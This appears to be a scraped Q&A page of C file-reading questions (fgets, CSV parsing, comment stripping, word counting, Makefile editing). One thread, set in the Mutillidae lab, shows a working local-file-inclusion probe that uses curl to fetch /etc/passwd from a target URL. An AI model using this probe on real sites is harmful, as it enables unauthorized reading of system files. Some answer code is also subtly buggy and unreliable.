When trying to read a plain text file with fgets in C, i get some strange looking output on the first line. So if the first line is meant to be "hello" it comes out as something like "ELFh` �� 20120918 (prerelease)#xxhello". Here is the code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
FILE *fr;
int i;
extern int uniq(char *previous_word, char *current_word);
char *line1 = malloc(500);
char *line2 = malloc(500);
char *temp;
for(i = 0; i<argc; i++)
{
fr = fopen (argv[i], "r");
while(fgets(line2, 499, fr) != NULL)
{
uniq(line1, line2);
temp = line1;
line1 = line2;
line2 = temp;
}
fclose(fr);
}
return 0;
}
int uniq(char *previous_word, char *current_word) {
if(!(current_word))
return 1;
if(strcmp(previous_word, current_word))
printf("%s", current_word);
return 0;
}
I've searched every description i can give of this problem on google and stack overflow and i can find nothing at all that fixes it.
Your loop must begin at index 1. argv[0] is your executable.
To check argv[0] is helpful if you have a so called multi binary executable. There you can handle different commands with just one binary. This is very helpful on embedded systems where you need to save memory.
Related
I have the following .csv file containing information about the song, artist, release year (if specified) and number of listens:
Look What The Cat Dragged In,Poison,,Look What The Cat Dragged In by Poison,1,0,1,0
Nothin' But A Good Time,Poison,1988,Nothin' But A Good Time by Poison,1,1,21,21
Something To Believe In,Poison,1990,Something To Believe In by Poison,1,1,1,1
Talk Dirty To Me,Poison,1978,Talk Dirty To Me by Poison,1,1,1,1
A Salty Dog,Procol Harum,1969,A Salty Dog by Procol Harum,1,1,1,1
A Whiter Shade of Pale,Procol Harum,1967,A Whiter Shade of Pale by Procol Harum,1,1,3,3
Blurry,Puddle of Mudd,2001,Blurry by Puddle of Mudd,1,1,1,1
Amie,Pure Prairie League,,Amie by Pure Prairie League,1,0,4,0
Another One Bites the Dust,Queen,1980,Another One Bites the Dust by Queen,1,1,102,102
Bicycle Race,Queen,1978,Bicycle Race by Queen,1,1,3,3
Kiss You All Over,Kiss,1978,Kiss You All Over by Kiss,1,1,5,5
The name of the file and the desired year should be given as command line arguments, and the program should print all songs from that specific year.
e.g.: ./a.out music.csv 1978
Output:
Talk dirty to me
Bicycle Race
Kiss You All Over
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#define MAX 300
typedef struct {
char song[101], *artist, *line;
long int year;
} music;
int checkYear(char *word)
{
for (int i = 0; i < strlen(word); i++) {
if (!isdigit(word[i]))
return 0;
}
return 1;
}
int main(int argc, char **argv)
{
FILE *fin = fopen(argv[1], "r");
if (!fin)
{
printf("Error opening the file.\n");
return 1;
}
char buf[MAX];
//int nLines = 0; //count the number of lines
//music *array = NULL;
while( fgets(buf, MAX, fin))
{
buf[strcspn(buf, "\n")] = '\0'; // strip the trailing newline
char *word = strtok(buf, ",");
while (word)
{
//printf("Word is : %s\n", word);
if (checkYear(word))
{
//printf("Year : %s\n", word);
music *array = (music *)malloc(sizeof(music));
char *p;
array->year = strtol(word, &p, 10);
if (array->year == atoi(argv[2]))
{
//printf("Year : %ld\t%d\n", array->year, atoi(argv[2]));
if (scanf("%100[^,]", array->song) == 1)
{
printf("Song : %s\n", array->song);
}
}
}
word = strtok(NULL, ",");
}
}
//printf("I've read %d lines\n", nLines);
fclose(fin);
return 0;
}
So far, it's going decent, I can extract the specified year from each line, but now I just need to print the name of the song from those lines (the first token on the line). I thought about using scanf("%[^,]") to read and print everything up until the first comma but it's just stuck in an endless loop. Could you give me an idea? Thanks in advance!
There are multiple problems in the code:
you do not check that enough arguments were passed on the command line, potentially invoking undefined behavior if not.
you do not need to allocate a music structure: you can just parse the first 3 fields, check the year and output the name of the song directly.
strtok() is inappropriate to split fields from a csv file because it treats a sequence of separators as a single separator, which is incorrect and causes invalid parsing if some fields are empty.
sscanf("%[^,]", ...) will fail to convert an empty field.
To split the fields from the csv line, I recommend you use a utility function that behaves like strtok_r() but tailored for csv lines. A simplistic version will stop on , and \n and replace these with a null byte, returning the initial pointer and updating the pointer for the next field. A more advanced version would also handle quotes.
Here is a modified version:
#include <stdio.h>
#include <string.h>
#define MAX 300
char *get_field(char **pp) {
char *p, *start;
for (p = start = *pp; *p; p++) {
if (*p == ',' || *p == '\n') {
*p++ = '\0';
break;
}
}
*pp = p;
return start;
}
int main(int argc, char *argv[]) {
char buf[MAX];
FILE *fin;
char *filename;
char *select_year;
if (argc < 3) {
printf("Missing arguments\n");
return 1;
}
filename = argv[1];
select_year = argv[2];
fin = fopen(filename, "r");
if (!fin) {
printf("Error opening the file %s.\n", filename);
return 1;
}
while (fgets(buf, sizeof buf, fin)) {
char *p = buf;
char *song = get_field(&p);
char *artist = get_field(&p);
char *year = get_field(&p);
if (!strcmp(year, target_year)) {
printf("%s\n", song);
}
}
fclose(fin);
return 0;
}
regarding: scanf("%[^,]") this consumes (upto but not including) the comma.
So the next instruction needs to be something like getchar() to consume the comma. Otherwise, on the next loop nothing will be read because the first character in stdin is that same comma.
Have a problem to read in a file in c. Have been searching online since I'm a beginner in programming but still I have a problem with the output of my file.
int main( int argc, char *argv[]){
FILE *in;
int chr;
if(in = fopen("airmap1.map", "r")) == NULL){
printf("Could not open file\n");
exit(1);
while(fgets(row, sizeof(row),in) !=NULL){
if (*row == '#') //next row
continue;
fscanf(in, "%*[^\n]s , %[]s", row);
}
}
The file I want to read in is looking like this:
#animals at the zoo
cat dog #cat-dog
fish frog #fish-frog
I want to ignore comments after this sign #, but my problem is that my code only ignore the first word after #. But right now it gives me this output:
cat frog
dog fish
How can i solve this problem? I would like to have the output this form instead:
cat dog
fish frog
You could use a function that checks for any "#" in every line of the file, and then copy it in another string.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define commentSign '#'
#define bufferLength 255
int findPosOfChar(char * buffer, char charToFind, int length)
{
int i;
for(i = 0 ; i < length ; i++)
{
if(buffer[i] == charToFind)
return i;
}
return 0;
}
int main( int argc, char *argv[]){
FILE* filePointer = fopen("test", "r");
char buffer[bufferLength];
char *p = malloc(sizeof(char) * 255);
int commentPos;
while(fgets(buffer, bufferLength, filePointer)) {
commentPos = findPosOfChar(buffer, (char)commentSign, bufferLength);
memcpy(p, buffer, commentPos);
p[commentPos] = '\0';
printf("%s\n", p);
}
fclose(filePointer);
}
This is a pentesting laboratory environment called "Mutillidae".
This program grabs argv[1] and places into command "curl <[argv[1]>",
then it grabs a line from lfi_test file and places it into second
%s in sprintf(). This program executes %100, I am just having issues with the format( | grep root). Instead, the entire source code is revealed including the entire /etc/passwd file.
If I uncomment line #20:
int passwd = "/etc/passwd";
and change line #27 to
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
I am able to get the formatted result I want.
If anyone can help me out, thank you in advance.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
The reason line-1 wasn't working in..
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
was due to line(/etc/passwd\n) from file was being cut by 1 and
it didn't allow char *root variable to be implemented into string format.
The function strtok() breaks line into a series of tokens using a delimiter. I was then able to parse "/etc/passwd\n" to "/etc/passwd" BEFORE sprintf().
Thanks DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}
I'm currently trying to make a program that will read a file find each unique word and count the number of times that word appears in the file. What I have currently ask the user for a word and searches the file for the number of times that word appears. However I need the program to read the file by itself instead of asking the user for an individual word.
This is what I have currently:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
int num =0;
char word[2000];
char *string;
FILE *in_file = fopen("words.txt", "r");
if (in_file == NULL)
{
printf("Error file missing\n");
exit(-1);
}
scanf("%s",word);
printf("%s\n", word);
while(!feof(in_file))//this loop searches the for the current word
{
fscanf(in_file,"%s",string);
if(!strcmp(string,word))//if match found increment num
num++;
}
printf("we found the word %s in the file %d times\n",word,num );
return 0;
}
I just need some help figuring out how to read the file for unique words (words it hasn't checked for yet) although any other suggestions for my program will be appreciated.
If you want to print every line contained in the file just once, you have to save the strings you have read in a given data structure. For example, a sorted array could do the trick. The code might look as follow:
#include <stddef.h>
size_t numberOfLine = getNumberOfLine (file);
char **previousStrings = allocArray (numberOfLine, maxStringSize);
size_t i;
for (i = 0; i < numberOfLine; i++)
{
char *currentString = readNextLine (file);
if (!containString (previousStrings, currentString))
{
printString (currentString);
insertString (previousStrings, currentString);
}
}
You may use binary search to code the functions containString and insertString in an efficient way. See here for further informations.
You have to split your code into functions (subroutines).
One function would read the file and record all words; the other would count the number of occurrences for each word.
int main(int argc, char const *argv[])
{
char *words[2000];
// Read the file; store all words in the list
int number_of_words = ReadWords("words.txt", words, 2000);
// Now count and print the number of occurrences for each word
for (int i = 0; i < number_of_words; i++)
{
int n = CountOccurrences(words[i], "words.txt");
printf("we found the word %s in the file %d times\n", words[i], n);
}
// Deallocate dynamically allocated memory
Cleanup(words, number_of_words);
}
Note how the main function is relatively short. All the details are in the functions ReadWords and CountOccurrences.
To implement reading all words from a file:
int ReadWords(const char *filename, char *words[], int max_number_of_words)
{
FILE *f = fopen(filename, "rt"); // checking for NULL is boring; i omit it
int i;
char temp[100]; // assuming the words cannot be too long
for (i = 0; i < max_number_of_words; ++i)
{
// Read a word from the file
if (fscanf(f, "%s", temp) != 1)
break;
// note: "!=1" checks for end-of-file; using feof for that is usually a bug
// Allocate memory for the word, because temp is too temporary
words[i] = strdup(temp);
}
fclose(f);
// The result of this function is the number of words in the file
return i;
}
`#include <stdio.h>
#include <stdlib.h>
int main(int argc, char*argv[])
{
int num =0;
char word[2000];
char string[30];
FILE *in_file = fopen(argv[1], "r");
if (in_file == NULL)
{
printf("Error file missing\n");
exit(-1);
}
scanf("%s",word);
printf("%s\n", word);
while(!feof(in_file))//this loop searches the for the current word
{
fscanf(in_file,"%s",string);
if(!strcmp(string,word))//if match found increment num
num++;
}
printf("we found the word %s in the file %d times\n",word,num );
return 0;
}`
if any suggestion plz..most welcome
Blockquote
I'm making a practice program to make a simple alteration to a variable in my Makefile while learning C. I get a segfault whenever I run this program, but I don't know why. I suspect it has something to do with the "r+" fopen mode or my use of fseek(). Here is the code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void rewind(FILE *f)
{
long start = 0;
fseek(f, start, SEEK_SET);
}
int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("arguments too many or too few. use: setfile <filename> (minus .c extension)\n");
exit(1);
}
FILE *mfile = fopen("Makefile", "r+"); // note to self: r+ is for a file that already exists
FILE *old_mfile = fopen("OLD.Makefile", "r+"); // w+ erases the file and starts in read-write mode with a fresh one
char line[200];
char *fn_ptr;
char *name = argv[1];
while(fgets(line, 199, mfile)) // first create the backup
{
fputs(line , old_mfile); // before changing the line, write it to the backup
}
rewind(mfile); // reset the files to position 0
rewind(old_mfile);
puts("Makefile backed-up as 'OLD.Makefile'");
while(fgets(line, 199, old_mfile)) // now lets loop again and rewrite with the new FNAME
{
if((fn_ptr = (strstr(line, "FNAME= "))))
{
fn_ptr += strlen("FNAME= ");
int i;
for(i = 0; i < strlen(name); i++)
{
*(fn_ptr+i) = *(name+i);
}
*(fn_ptr+i) = '\0';
}
// printf("%s", line); // for debugging
fputs(line , mfile);
}
printf("FNAME is now: '%s'\n", argv[1]);
fclose(mfile);
fclose(old_mfile);
return 0;
}
Check this line again:
FILE *old_mfile = fopen("OLD.Makefile", "r+"); // w+ erases the file and starts in read-write mode with a fresh one
You have the correct mode in the comment, but not in the fopen call.
How to not get the segmentation fault, besides changing the mode? Always check return values! If fopen fails it will return NULL.
Here is a working version. There are several subtle points to note here so I will leave you to examine them one by one by toggling the changes in and out. The man pages for the called functions are probably enough if carefully read.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void rewind(FILE *f)
{
long start = 0;
fseek(f, start, SEEK_SET);
}
int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("arguments too many or too few. use: setfile <filename> (minus .c extension)\n");
exit(1);
}
FILE *mfile = fopen("Makefile", "r+"); // note to self: r+ is for a file that already exists
FILE *old_mfile = fopen("OLD.Makefile", "w+"); // w+ erases the file and starts in read-write mode with a fresh one
char line[200];
char *fn_ptr;
char *name = argv[1];
while(fgets(line, 199, mfile)) // first create the backup
{
fputs(line , old_mfile); // before changing the line, write it to the backup
memset(line,0x00,200);
}
rewind(mfile); // reset the files to position 0
rewind(old_mfile);
memset(line,0x00,200);
puts("Makefile backed-up as 'OLD.Makefile'");
fclose(mfile);
mfile = fopen("Makefile", "w");
while(fgets(line, 199, old_mfile)) // now lets loop again and rewrite with the new FNAME
{
if((fn_ptr = strstr(line, "FNAME=")) != NULL)
{
fn_ptr += strlen("FNAME=");
int i;
for(i = 0; i < strlen(name); i++)
{
*(fn_ptr+i) = *(name+i);
}
*(fn_ptr+i) = '\0';
}
// printf("%s", line); // for debugging
fputs(line , mfile);
fputs("\n" , mfile);
memset(line,0x00,200);
}
printf("FNAME is now: '%s'\n", argv[1]);
fclose(mfile);
fclose(old_mfile);
return 0;
}